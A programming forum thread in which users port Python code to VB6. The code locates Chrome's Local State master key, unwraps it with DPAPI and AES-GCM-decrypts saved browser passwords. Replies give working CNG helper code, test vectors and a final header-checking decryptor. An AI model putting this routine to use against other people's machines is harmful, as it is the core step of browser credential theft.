[RESOLVED] clsCrypt.cls

Hi, I am trying to pass a module from (unknown language) to vb6, and I found clsCrypt.cls that I think could fulfill the function of said language, but I don't understand how to apply it.

Code:

---

import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil

def get_master_key():
    with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f:
        local_state = f.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    master_key = master_key[5:]  # removing DPAPI
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key


def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)


def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)


def decrypt_password(buff, master_key):
    try:
        iv = buff[3:15]
        payload = buff[15:]
        cipher = generate_cipher(master_key, iv)
        decrypted_pass = decrypt_payload(cipher, payload)
        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
        return decrypted_pass
    except Exception as e:
        # print("Probably saved password from version older than v80\n")
        # print(str(e))
        return "version < 80"

---

how am i supposed to call this line AES.new(aes_key, AES.MODE_GCM, iv)

clsCrypt.cls

Code:

---

Option Explicit
'================================
'EVENTS
'================================
Public Event Error(ByVal Number As Long, Description As String, ByVal Source As String)

'BCryptGetProperty strings (subset used here).
Private Const MS_PRIMITIVE_PROVIDER As String = "Microsoft Primitive Provider"
Private Const BCRYPT_BLOCK_PADDING As Long = &H1    'BCryptEncrypt/Decrypt
Private Const BCRYPT_OBJECT_LENGTH As String = "ObjectLength"
Private Const BCRYPT_HASH_LENGTH As String = "HashDigestLength"
Private Const BCRYPT_BLOCK_LENGTH As String = "BlockLength"
Private Const BCRYPT_CHAINING_MODE As String = "ChainingMode"
Private Const BCRYPT_CHAIN_MODE_GCM As String = "ChainingModeGCM"
Private Const BCRYPT_CHAIN_MODE_CBC As String = "ChainingModeCBC"
Private Const BCRYPT_CHAIN_MODE_ECB As String = "ChainingModeECB"
Private Const BCRYPT_AUTH_TAG_LENGTH As String = "AuthTagLength"

'Constants for Cryptography API error messages
'Private Const CCAP As String = "BCryptCloseAlgorithmProvider"
Private Const CCH As String = "BCryptCreateHash"
Private Const CD As String = "BCryptDecrypt"
'Private Const CDH As String = "BCryptDestroyHash"
'Private Const CDK As String = "BCryptDestroyKey"
'Private Const CDRK As String = "BCryptDerivrKey"
Private Const CE As String = "BCryptEncrypt"
'Private Const CEA As String = "BCryptEnumAlgorithms"
'Private Const CEK As String = "BCryptExportKey"
'Private Const CFKP As String = "BCryptFinalizeKeyPair"
Private Const CFH As String = "BCryptFinishHash"
'Private Const CGKP As String = "BCryptGenerateKeyPair"
Private Const CGP As String = "BCryptGetProperty"
'Private Const CGR As String = "BCryptGenRandom"
Private Const CGSK As String = "BCryptGenerateSymmetricKey"
Private Const CHD As String = "BCryptHashData"
'Private Const CIKP As String = "BCryptImportKeyPair"
Private Const COAP As String = "BCryptOpenAlgorithmProvider"
'Private Const CSA As String = "BCryptSecretAgreement"
'Private Const CSH As String = "BCryptSignHash"
'Private Const CSP As String = "BCryptSetProperty"
'Private Const CVS As String = "BCryptVerifySignature"
Private Const CDuH As String = "BCryptDuplicateHash"

'CNG API Declares
Private Declare Function BCryptOpenAlgorithmProvider Lib "bcrypt" (ByRef hAlgorithm As Long, ByVal pszAlgId As Long, ByVal pszImplementation As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptCloseAlgorithmProvider Lib "bcrypt" (ByVal hAlgorithm As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptDestroyKey Lib "bcrypt" (ByVal hAesKey As Long) As Long
Private Declare Function BCryptGetProperty Lib "bcrypt" (ByVal hObject As Long, ByVal pszProperty As Long, ByVal pbOutput As Long, ByVal cbOutput As Long, ByRef cbResult As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptSetProperty Lib "bcrypt" (ByVal hObject As Long, ByVal pszProperty As Long, ByVal pbInput As Long, ByVal cbInput As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptGenerateSymmetricKey Lib "bcrypt" (ByVal hAlgorithm As Long, ByRef hKey As Long, ByVal pbKeyObject As Long, ByVal cbKeyObject As Long, ByVal pbSecret As Long, ByVal cbSecret As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptEncrypt Lib "bcrypt" (ByVal hKey As Long, ByVal pbInput As Long, ByVal cbInput As Long, ByVal pPaddingInfo As Long, ByVal pbIV As Long, ByVal cbIV As Long, ByVal pbOutput As Long, ByVal cbOutput As Long, ByRef cbResult As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptDecrypt Lib "bcrypt" (ByVal hKey As Long, ByVal pbInput As Long, ByVal cbInput As Long, ByVal pPaddingInfo As Long, ByVal pbIV As Long, ByVal cbIV As Long, ByVal pbOutput As Long, ByVal cbOutput As Long, ByRef cbResult As Long, ByVal dwFlags As Long) As Long

'CNG Buffers
Private bIV() As Byte
Private bKey() As Byte
Private bReadIV() As Byte
Private bReadKey() As Byte
Private bInBuffer() As Byte
Private bOutBuffer() As Byte

'Counters
Private SEND_SEQ_NUM() As Byte
Private RECV_SEQ_NUM() As Byte

Private Type BCRYPT_KEY_LENGTHS_STRUCT
    dwMinLength As Long
    dwMaxLength As Long
    dwIncrement As Long
End Type

'Because VB6 does not support 64 bit (8 byte) long values, cbData has to be configured as
'a byte array. This structure is used repeatedly, and because the structure itself is not
'evenly devisible by 8, an additional long (lPad2) has been added to it.
Private Type BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
    cbSize          As Long
    dwInfoVersion  As Long
    pbNonce        As Long
    cbNonce        As Long
    pbAuthData      As Long
    cbAuthData      As Long
    pbTag          As Long
    cbTag          As Long
    pbMacContext    As Long
    cbMacContext    As Long
    cbAAD          As Long
    lPad            As Long
    cbData(7)      As Byte
    dwFlags        As Long
    lPad2          As Long
End Type

Public Function CryptData(sAlg As String, DeCrypt As Boolean) As Boolean
    Const Routine As String = "clsCrypt.CryptData"
    Dim hAlgorithm As Long 'Handle to algorithm sAlg"
    Dim hKey As Long 'Handle to Key
    Dim cbBlock As Long 'Encryption Block Size
    Dim bBuffer() As Byte 'Buffer for encryption object
    Dim authTagLengths As BCRYPT_KEY_LENGTHS_STRUCT 'Accepted lengths (12 to 16 step 1)
    Dim authInfo As BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO 'Structure for Authenticated Encryption
    Dim pbOutput As Long 'Object length
    Dim cbResult As Long 'General use result
    Dim cbBytes As Long 'Input buffer size
    Dim dwFlags As Long 'Not used here - defaults to 0
    Dim Nonce() As Byte 'Nonce used in Galois/counter_mode (GCM)
    Dim authTag() As Byte 'Buffer for authenticated Tag
    Dim SeqNum() As Byte
    Dim lRet As Long 'API call return value
    Dim N% 'Counter
    ReDim Nonce(11) '12 byte Nonce set to all zeros
    ReDim authTag(15) 'authTag cleared
    'Recover handle to encryption algorithm
    lRet = BCryptOpenAlgorithmProvider(hAlgorithm, StrPtr(sAlg), StrPtr(MS_PRIMITIVE_PROVIDER), dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, COAP, Routine)
        GoTo ReleaseHandles
    End If
    'Get length of encryption object
    lRet = BCryptGetProperty(hAlgorithm, StrPtr(BCRYPT_OBJECT_LENGTH), VarPtr(pbOutput), 4, cbResult, dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, CGP, Routine)
        GoTo ReleaseHandles
    End If
    'Set the chaining mode (GCM)
    lRet = BCryptSetProperty(hAlgorithm, StrPtr(BCRYPT_CHAINING_MODE), StrPtr(BCRYPT_CHAIN_MODE_GCM), LenB(BCRYPT_CHAIN_MODE_GCM), dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, CGSK, Routine)
        GoTo ReleaseHandles
    End If
    'Recover Block length
    lRet = BCryptGetProperty(hAlgorithm, StrPtr(BCRYPT_BLOCK_LENGTH), VarPtr(cbBlock), 4, cbResult, dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, CGP, Routine)
        GoTo ReleaseHandles
    End If
    'Get the allowed Tag lengths (generally 12 bytes)
    lRet = BCryptGetProperty(hAlgorithm, StrPtr(BCRYPT_AUTH_TAG_LENGTH), VarPtr(authTagLengths), 12, cbResult, dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, CGP, Routine)
        GoTo ReleaseHandles
    End If
    ReDim bBuffer(pbOutput - 1) 'Clear the Object buffer
    'Generate the Object key information
    lRet = BCryptGenerateSymmetricKey(hAlgorithm, hKey, VarPtr(bBuffer(0)), GetbSize(bBuffer), VarPtr(bKey(0)), GetbSize(bKey), dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, CGSK, Routine)
        GoTo ReleaseHandles
    End If
    cbBytes = GetbSize(bInBuffer) 'Set the input buffer size
    If GetbSize(SEND_SEQ_NUM) < 8 Then ReDim SEND_SEQ_NUM(11) 'Initialize Sequence Number to all zeros
    If GetbSize(RECV_SEQ_NUM) < 8 Then ReDim RECV_SEQ_NUM(11) 'Initialize Sequence Number to all zeros
    If DeCrypt Then
        SeqNum = RECV_SEQ_NUM
    Else
        SeqNum = SEND_SEQ_NUM
    End If
    For N% = 0 To UBound(bIV) 'Create Nonce by combining the Handshake IV and Sequence Number
      Nonce(N%) = bIV(N%) Xor SeqNum(N%)
    Next N%
    'Get the encrypted length - should be same as Input length
    'Even though AES is considered a Block Cipher, in GCM mode it is considered a Stream cipher
    lRet = BCryptEncrypt(hKey, VarPtr(bInBuffer(0)), cbBytes, 0&, VarPtr(bIV(0)), cbBlock, 0&, 0, cbResult, dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, CE, Routine)
        GoTo ReleaseHandles
    End If
    'Populate authInfo structure
    authInfo.cbSize = Len(authInfo)
    authInfo.dwInfoVersion = 1
    authInfo.pbNonce = VarPtr(Nonce(0))
    authInfo.cbNonce = GetbSize(Nonce)
    authInfo.pbTag = VarPtr(authTag(0))
    authInfo.cbTag = GetbSize(authTag)
    ReDim bOutBuffer(cbResult - 1) 'Set the ouput buffer size
    'Encrypt the data
    lRet = BCryptEncrypt(hKey, VarPtr(bInBuffer(0)), cbBytes, VarPtr(authInfo), VarPtr(bIV(0)), 12, VarPtr(bOutBuffer(0)), cbResult, cbResult, dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, CE, Routine)
        GoTo ReleaseHandles
    End If
    If DeCrypt Then
        IncRecvSeqNum 'Advance the Receive Sequence Number
    Else
        IncSendSeqNum 'Advance the Send Sequence Number
    End If
    CryptData = True 'Success
ReleaseHandles:
    BCryptDestroyKey hKey
    BCryptCloseAlgorithmProvider hAlgorithm, 0
End Function

Public Sub IncRecvSeqNum(Optional flgClear As Boolean)
    Dim N%
    If flgClear Then
        ReDim RECV_SEQ_NUM(11)
        Exit Sub
    End If
    For N% = 11 To 7 Step -1
        If N% = 7 Then
            ReDim RECV_SEQ_NUM(11)
            Exit Sub
        End If
        If RECV_SEQ_NUM(N%) = 255 Then
            RECV_SEQ_NUM(N%) = 0
        Else
            RECV_SEQ_NUM(N%) = RECV_SEQ_NUM(N%) + 1
            Exit For
        End If
    Next N%
    Debug.Print RECV_SEQ_NUM(8); RECV_SEQ_NUM(9); RECV_SEQ_NUM(10); RECV_SEQ_NUM(11)
End Sub

Public Sub IncSendSeqNum(Optional flgClear As Boolean)
    Dim N%
    If flgClear Then
        ReDim SEND_SEQ_NUM(11)
        Exit Sub
    End If
    For N% = 11 To 7 Step -1
        If N% = 7 Then
            ReDim SEND_SEQ_NUM(11)
            Exit Sub
        End If
        If SEND_SEQ_NUM(N%) = 255 Then
            SEND_SEQ_NUM(N%) = 0
        Else
            SEND_SEQ_NUM(N%) = SEND_SEQ_NUM(N%) + 1
            Exit For
        End If
    Next N%
    Debug.Print SEND_SEQ_NUM(8); SEND_SEQ_NUM(9); SEND_SEQ_NUM(10); SEND_SEQ_NUM(11)
End Sub

Public Property Get IV() As Byte()
    IV = bIV
End Property

Public Property Let IV(bNewValue() As Byte)
    bIV = bNewValue
End Property

Public Property Get Key() As Byte()
    Key = bKey
End Property

Public Property Let Key(bNewValue() As Byte)
    bKey = bNewValue
End Property

Public Property Get InBuffer() As Byte()
    InBuffer = bInBuffer
End Property

Public Property Let InBuffer(bNewValue() As Byte)
    bInBuffer = bNewValue
End Property

Public Property Get OutBuffer() As Byte()
    OutBuffer = bOutBuffer
End Property

Public Property Let OutBuffer(bNewValue() As Byte)
    bOutBuffer = bNewValue
End Property

---

thanks for your help, sorry if anyone offends this post (crypto)

solved, finally I found how to make it work, for some reason I must initialize the class clsCrypt for each decryption, suppose I am in a loop to call Set cCript = New clsCrypt for each iteration, I still do not look well what is the reason, but anyway already with having I can decipher the key I feel happy.

Code:

---

Option Explicit
Const PassCript = "76313076F0C9F33DA5EEB1F7979B63589D0D01793F3B6289EBE350A4E990A0C6D9160C77A0CA13C4040B60"
Const MasterKey = "4405A103B2E0B0C6DC3E4EBB3DFAC7F6F3B47993286F3B009B119CEF6BD7985E"
Const PassDecript = "GxFcyBxI2oty"

Private Sub Form_Load()
    Dim cCript As clsCrypt
    Dim bArrPassCript() As Byte
    Dim bArrKey() As Byte
    Dim IV() As Byte
    Dim Pass() As Byte
   
    Set cCript = New clsCrypt

    Call HexToByte(PassCript, bArrPassCript)
    Call HexToByte(MasterKey, bArrKey)
   
    If UBound(bArrPassCript) < 30 Then Exit Sub
   
    ReDim IV(11)
    CopyMemory IV(0), bArrPassCript(3), 12
    ReDim Pass(UBound(bArrPassCript) - 15 - 16)
    CopyMemory Pass(0), bArrPassCript(15), UBound(Pass) + 1
       
    With cCript
        .IV = IV
        .InBuffer = Pass
        .Key = bArrKey
        .CryptData "AES", False
        Debug.Print StrConv(.OutBuffer, vbUnicode), PassDecript
    End With
End Sub

Public Function HexToByte(HexStr As String, bHex() As Byte) As Boolean
    Dim lLen As Long
    Dim lPntr As Long
    Dim bTmp() As Byte
    If Len(HexStr) > 1 Then
        lLen = Len(HexStr) / 2
        ReDim bHex(lLen - 1)
        For lPntr = 0 To UBound(bHex)
            bHex(lPntr) = Val("&H" & Mid$(HexStr, lPntr * 2 + 1, 2))
        Next lPntr
        HexToByte = True
    Else
        bHex = bTmp
    End If
End Function

---

Sorry for the late reply but found this in an unclosed IDE and will post this for posterity.

Code:

---

Option Explicit

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function BCryptOpenAlgorithmProvider Lib "bcrypt" (ByRef hAlgorithm As Long, ByVal pszAlgId As Long, ByVal pszImplementation As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptCloseAlgorithmProvider Lib "bcrypt" (ByVal hAlgorithm As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptDestroyKey Lib "bcrypt" (ByVal hKey As Long) As Long
Private Declare Function BCryptSetProperty Lib "bcrypt" (ByVal hObject As Long, ByVal pszProperty As Long, ByVal pbInput As Long, ByVal cbInput As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptGenerateSymmetricKey Lib "bcrypt" (ByVal hAlgorithm As Long, hKey As Long, ByVal pbKeyObject As Long, ByVal cbKeyObject As Long, ByVal pbSecret As Long, ByVal cbSecret As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptDecrypt Lib "bcrypt" (ByVal hKey As Long, ByVal pbInput As Long, ByVal cbInput As Long, ByVal pPaddingInfo As Long, ByVal pbIV As Long, ByVal cbIV As Long, ByVal pbOutput As Long, ByVal cbOutput As Long, cbResult As Long, ByVal dwFlags As Long) As Long

Private Type BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
    cbSize              As Long
    dwInfoVersion      As Long
    pbNonce            As Long
    cbNonce            As Long
    pbAuthData          As Long
    cbAuthData          As Long
    pbTag              As Long
    cbTag              As Long
    pbMacContext        As Long
    cbMacContext        As Long
    cbAAD              As Long
    lPad                As Long
    cbData(7)          As Byte
    dwFlags            As Long
    lPad2              As Long
End Type

Private Function pvCryptoAeadAesGcmDecrypt( _
            baKey() As Byte, baIV() As Byte, _
            baBuffer() As Byte, ByVal lPos As Long, ByVal lSize As Long, _
            baTag() As Byte, ByVal lTagPos As Long, ByVal lTagSize As Long, _
            baAad() As Byte, ByVal lAadPos As Long, ByVal lAdSize As Long) As Boolean
    Dim hResult        As Long
    Dim sApiSource      As String
    Dim hAlg            As Long
    Dim hKey            As Long
    Dim uInfo          As BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
    Dim lResult        As Long

    hResult = BCryptOpenAlgorithmProvider(hAlg, StrPtr("AES"), 0, 0)
    If hResult < 0 Then
        sApiSource = "BCryptOpenAlgorithmProvider"
        GoTo QH
    End If
    hResult = BCryptSetProperty(hAlg, StrPtr("ChainingMode"), StrPtr("ChainingModeGCM"), 32, 0)
    If hResult < 0 Then
        GoTo QH
    End If
    hResult = BCryptGenerateSymmetricKey(hAlg, hKey, 0, 0, VarPtr(baKey(0)), UBound(baKey) + 1, 0)
    If hResult < 0 Then
        GoTo QH
    End If
    With uInfo
        .cbSize = LenB(uInfo)
        .dwInfoVersion = 1
        .pbNonce = VarPtr(baIV(0))
        .cbNonce = UBound(baIV) + 1
        If lAdSize > 0 Then
            .pbAuthData = VarPtr(baAad(lAadPos))
            .cbAuthData = lAdSize
        End If
        .pbTag = VarPtr(baTag(lTagPos))
        .cbTag = lTagSize
    End With
    hResult = BCryptDecrypt(hKey, VarPtr(baBuffer(lPos)), lSize, VarPtr(uInfo), 0, 0, VarPtr(baBuffer(lPos)), lSize, lResult, 0)
    If hResult < 0 Then
        GoTo QH
    End If
    Debug.Assert lResult = lSize
    '--- success
    pvCryptoAeadAesGcmDecrypt = True
QH:
    If hKey <> 0 Then
        Call BCryptDestroyKey(hKey)
    End If
    If hAlg <> 0 Then
        Call BCryptCloseAlgorithmProvider(hAlg, 0)
    End If
    If hResult < 0 Then
        Err.Raise hResult
    End If
End Function

Private Function DecodePassword(baBuffer() As Byte, baMasterKey() As Byte) As String
    Dim baIV()          As Byte
    Dim baCipherText()  As Byte
    Dim baEmpty()      As Byte
   
    ReDim baIV(0 To 11) As Byte
    Call CopyMemory(baIV(0), baBuffer(3), UBound(baIV) + 1)
    ReDim baCipherText(0 To UBound(baBuffer) - 15 - 16) As Byte
    Call CopyMemory(baCipherText(0), baBuffer(15), UBound(baCipherText) + 1)
    If Not pvCryptoAeadAesGcmDecrypt(baMasterKey, baIV, baCipherText, 0, UBound(baCipherText) + 1, baBuffer, UBound(baBuffer) - 15, 16, baEmpty, 0, 0) Then
        GoTo QH
    End If
    DecodePassword = StrConv(baCipherText, vbUnicode)
QH:
End Function

Private Sub Form_Load()
    Const PassCrypt = "76313076F0C9F33DA5EEB1F7979B63589D0D01793F3B6289EBE350A4E990A0C6D9160C77A0CA13C4040B60"
    Const MasterKey = "4405A103B2E0B0C6DC3E4EBB3DFAC7F6F3B47993286F3B009B119CEF6BD7985E"
    Const PassDecrypt = "GxFcyBxI2oty"
    Dim bArrPassCrypt() As Byte
    Dim bArrKey() As Byte
   
    Call HexToByte(PassCrypt, bArrPassCrypt)
    Call HexToByte(MasterKey, bArrKey)
   
    Debug.Assert DecodePassword(bArrPassCrypt, bArrKey) = PassDecrypt
End Sub

Public Function HexToByte(HexStr As String, bHex() As Byte) As Boolean
    Dim lLen As Long
    Dim lPntr As Long
    Dim bTmp() As Byte
    If Len(HexStr) > 1 Then
        lLen = Len(HexStr) / 2
        ReDim bHex(lLen - 1)
        For lPntr = 0 To UBound(bHex)
            bHex(lPntr) = Val("&H" & Mid$(HexStr, lPntr * 2 + 1, 2))
        Next lPntr
        HexToByte = True
    Else
        bHex = bTmp
    End If
End Function

---

The pvCryptoAeadAesGcmDecrypt helper function above is all you need to use BCrypt (so called CNG system API) to implement AES in GCM mode which is a kind of AEAD cipher i.e. it needs a key, a nonce (so called IV) and can include an additional associated data which is not encrypted but becomes part of the message authentication hash (so called MAC) besides the plaintext.

The helper above decrypts in-place i.e. the ciphertext in baBuffer is decrypted to plaintext again in baBuffer but lAdSize can be zero to skip on additional associated data (as in your case).

cheers,
</wqw>

Quote:

---

Originally Posted by wqweto

Sorry for the late reply but found this in an unclosed IDE and will post this for posterity.

Code:

---

Option Explicit

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function BCryptOpenAlgorithmProvider Lib "bcrypt" (ByRef hAlgorithm As Long, ByVal pszAlgId As Long, ByVal pszImplementation As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptCloseAlgorithmProvider Lib "bcrypt" (ByVal hAlgorithm As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptDestroyKey Lib "bcrypt" (ByVal hKey As Long) As Long
Private Declare Function BCryptSetProperty Lib "bcrypt" (ByVal hObject As Long, ByVal pszProperty As Long, ByVal pbInput As Long, ByVal cbInput As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptGenerateSymmetricKey Lib "bcrypt" (ByVal hAlgorithm As Long, hKey As Long, ByVal pbKeyObject As Long, ByVal cbKeyObject As Long, ByVal pbSecret As Long, ByVal cbSecret As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptDecrypt Lib "bcrypt" (ByVal hKey As Long, ByVal pbInput As Long, ByVal cbInput As Long, ByVal pPaddingInfo As Long, ByVal pbIV As Long, ByVal cbIV As Long, ByVal pbOutput As Long, ByVal cbOutput As Long, cbResult As Long, ByVal dwFlags As Long) As Long

Private Type BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
    cbSize              As Long
    dwInfoVersion      As Long
    pbNonce            As Long
    cbNonce            As Long
    pbAuthData          As Long
    cbAuthData          As Long
    pbTag              As Long
    cbTag              As Long
    pbMacContext        As Long
    cbMacContext        As Long
    cbAAD              As Long
    lPad                As Long
    cbData(7)          As Byte
    dwFlags            As Long
    lPad2              As Long
End Type

Private Function pvCryptoAeadAesGcmDecrypt( _
            baKey() As Byte, baIV() As Byte, _
            baBuffer() As Byte, ByVal lPos As Long, ByVal lSize As Long, _
            baTag() As Byte, ByVal lTagPos As Long, ByVal lTagSize As Long, _
            baAad() As Byte, ByVal lAadPos As Long, ByVal lAdSize As Long) As Boolean
    Dim hResult        As Long
    Dim sApiSource      As String
    Dim hAlg            As Long
    Dim hKey            As Long
    Dim uInfo          As BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
    Dim lResult        As Long

    hResult = BCryptOpenAlgorithmProvider(hAlg, StrPtr("AES"), 0, 0)
    If hResult < 0 Then
        sApiSource = "BCryptOpenAlgorithmProvider"
        GoTo QH
    End If
    hResult = BCryptSetProperty(hAlg, StrPtr("ChainingMode"), StrPtr("ChainingModeGCM"), 32, 0)
    If hResult < 0 Then
        GoTo QH
    End If
    hResult = BCryptGenerateSymmetricKey(hAlg, hKey, 0, 0, VarPtr(baKey(0)), UBound(baKey) + 1, 0)
    If hResult < 0 Then
        GoTo QH
    End If
    With uInfo
        .cbSize = LenB(uInfo)
        .dwInfoVersion = 1
        .pbNonce = VarPtr(baIV(0))
        .cbNonce = UBound(baIV) + 1
        If lAdSize > 0 Then
            .pbAuthData = VarPtr(baAad(lAadPos))
            .cbAuthData = lAdSize
        End If
        .pbTag = VarPtr(baTag(lTagPos))
        .cbTag = lTagSize
    End With
    hResult = BCryptDecrypt(hKey, VarPtr(baBuffer(lPos)), lSize, VarPtr(uInfo), 0, 0, VarPtr(baBuffer(lPos)), lSize, lResult, 0)
    If hResult < 0 Then
        GoTo QH
    End If
    Debug.Assert lResult = lSize
    '--- success
    pvCryptoAeadAesGcmDecrypt = True
QH:
    If hKey <> 0 Then
        Call BCryptDestroyKey(hKey)
    End If
    If hAlg <> 0 Then
        Call BCryptCloseAlgorithmProvider(hAlg, 0)
    End If
    If hResult < 0 Then
        Err.Raise hResult
    End If
End Function

Private Function DecodePassword(baBuffer() As Byte, baMasterKey() As Byte) As String
    Dim baIV()          As Byte
    Dim baCipherText()  As Byte
    Dim baEmpty()      As Byte
   
    ReDim baIV(0 To 11) As Byte
    Call CopyMemory(baIV(0), baBuffer(3), UBound(baIV) + 1)
    ReDim baCipherText(0 To UBound(baBuffer) - 15 - 16) As Byte
    Call CopyMemory(baCipherText(0), baBuffer(15), UBound(baCipherText) + 1)
    If Not pvCryptoAeadAesGcmDecrypt(baMasterKey, baIV, baCipherText, 0, UBound(baCipherText) + 1, baBuffer, UBound(baBuffer) - 15, 16, baEmpty, 0, 0) Then
        GoTo QH
    End If
    DecodePassword = StrConv(baCipherText, vbUnicode)
QH:
End Function

Private Sub Form_Load()
    Const PassCrypt = "76313076F0C9F33DA5EEB1F7979B63589D0D01793F3B6289EBE350A4E990A0C6D9160C77A0CA13C4040B60"
    Const MasterKey = "4405A103B2E0B0C6DC3E4EBB3DFAC7F6F3B47993286F3B009B119CEF6BD7985E"
    Const PassDecrypt = "GxFcyBxI2oty"
    Dim bArrPassCrypt() As Byte
    Dim bArrKey() As Byte
   
    Call HexToByte(PassCrypt, bArrPassCrypt)
    Call HexToByte(MasterKey, bArrKey)
   
    Debug.Assert DecodePassword(bArrPassCrypt, bArrKey) = PassDecrypt
End Sub

Public Function HexToByte(HexStr As String, bHex() As Byte) As Boolean
    Dim lLen As Long
    Dim lPntr As Long
    Dim bTmp() As Byte
    If Len(HexStr) > 1 Then
        lLen = Len(HexStr) / 2
        ReDim bHex(lLen - 1)
        For lPntr = 0 To UBound(bHex)
            bHex(lPntr) = Val("&H" & Mid$(HexStr, lPntr * 2 + 1, 2))
        Next lPntr
        HexToByte = True
    Else
        bHex = bTmp
    End If
End Function

---

The pvCryptoAeadAesGcmDecrypt helper function above is all you need to use BCrypt (so called CNG system API) to implement AES in GCM mode which is a kind of AEAD cipher i.e. it needs a key, a nonce (so called IV) and can include an additional associated data which is not encrypted but becomes part of the message authentication hash (so called MAC) besides the plaintext.

The helper above decrypts in-place i.e. the ciphertext in baBuffer is decrypted to plaintext again in baBuffer but lAdSize can be zero to skip on additional associated data (as in your case).

cheers,
</wqw>

---

Perfect!!, I had already summarized enough but, you have simplified it much more!!,i just make some changes to personal necessity since my source is a DATA_BLOB so not to dump a byte array pass and use pointers.

Code:

---

Private Function pvCryptoAeadAesGcmDecrypt(baKey() As Byte, pCryptData As Long, lSize As Long, pIV As Long, pTag As Long, baDecriptText() As Byte) As Boolean
    Dim hAlg            As Long
    Dim hKey            As Long
    Dim uInfo          As BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
    Dim lResult        As Long
   
    ReDim baDecriptText(lSize - 1)
    With uInfo
        .cbSize = Len(uInfo)
        .dwInfoVersion = 1
        .pbNonce = pIV
        .cbNonce = 12
        .pbTag = pTag
        .cbTag = 16
    End With

    If BCryptOpenAlgorithmProvider(hAlg, StrPtr("AES"), 0, 0) = 0& Then
        If BCryptSetProperty(hAlg, StrPtr("ChainingMode"), StrPtr("ChainingModeGCM"), 32, 0) = 0& Then
            If BCryptGenerateSymmetricKey(hAlg, hKey, 0, 0, VarPtr(baKey(0)), UBound(baKey) + 1, 0) = 0& Then
                If BCryptDecrypt(hKey, pCryptData, lSize, VarPtr(uInfo), 0, 0, VarPtr(baDecriptText(0)), lSize, lResult, 0) = 0& Then
                    pvCryptoAeadAesGcmDecrypt = CBool(lResult = lSize)
                End If
                Call BCryptDestroyKey(hKey)
            End If
        End If
        Call BCryptCloseAlgorithmProvider(hAlg, 0)
    End If
End Function

---

Code:

---

With BLOBIN
    If .cbData > 0 Then
        ReDim bHeader(2)
        CopyMemory bHeader(0), ByVal .pbData, 3
       
        If (bHeader(0) Or bHeader(1) Or bHeader(2)) = &H77 Then
            If .cbData > 31 Then
                If pvCryptoAeadAesGcmDecrypt(bKey, .pbData + 15, .cbData - 31, .pbData + 3, .pbData + .cbData - 16, bPass) Then
                    PASSWORD = StrConv(bPass, vbUnicode)
                End If
            End If
        Else
            If CryptUnprotectData(BLOBIN, 0&, 0&, 0&, 0&, 8, BLOBOUT) Then
                PASSWORD = ReadBlobString(BLOBOUT)
            End If
        End If
    End If
End With

---

whatever observations you have, it's always good to listen to learn

@LeanDroA; Can you post the GetbSize routine?

I assume it's something like this

Code:

---

Public Function GetbSize(btArray() As Byte) As Long
  GetbSize= UBound(btArray) - LBound(btArray) + 1
End Function

---

Quote:

---

Originally Posted by Juggler_IN

@LeanDroA; Can you post the GetbSize routine?

---

The SimpleSock.zip download at:
https://www.vbforums.com/showthread....B6-Simple-Sock
contains the entire clsCrypt.cls class including the GetbSize routine.

Code:

---

Public Function GetbSize(bArray() As Byte) As Long
    On Error GoTo GetSizeErr
    GetbSize = UBound(bArray) + 1
    Exit Function
GetSizeErr:
    GetbSize = 0
End Function

---

J.A. Coutts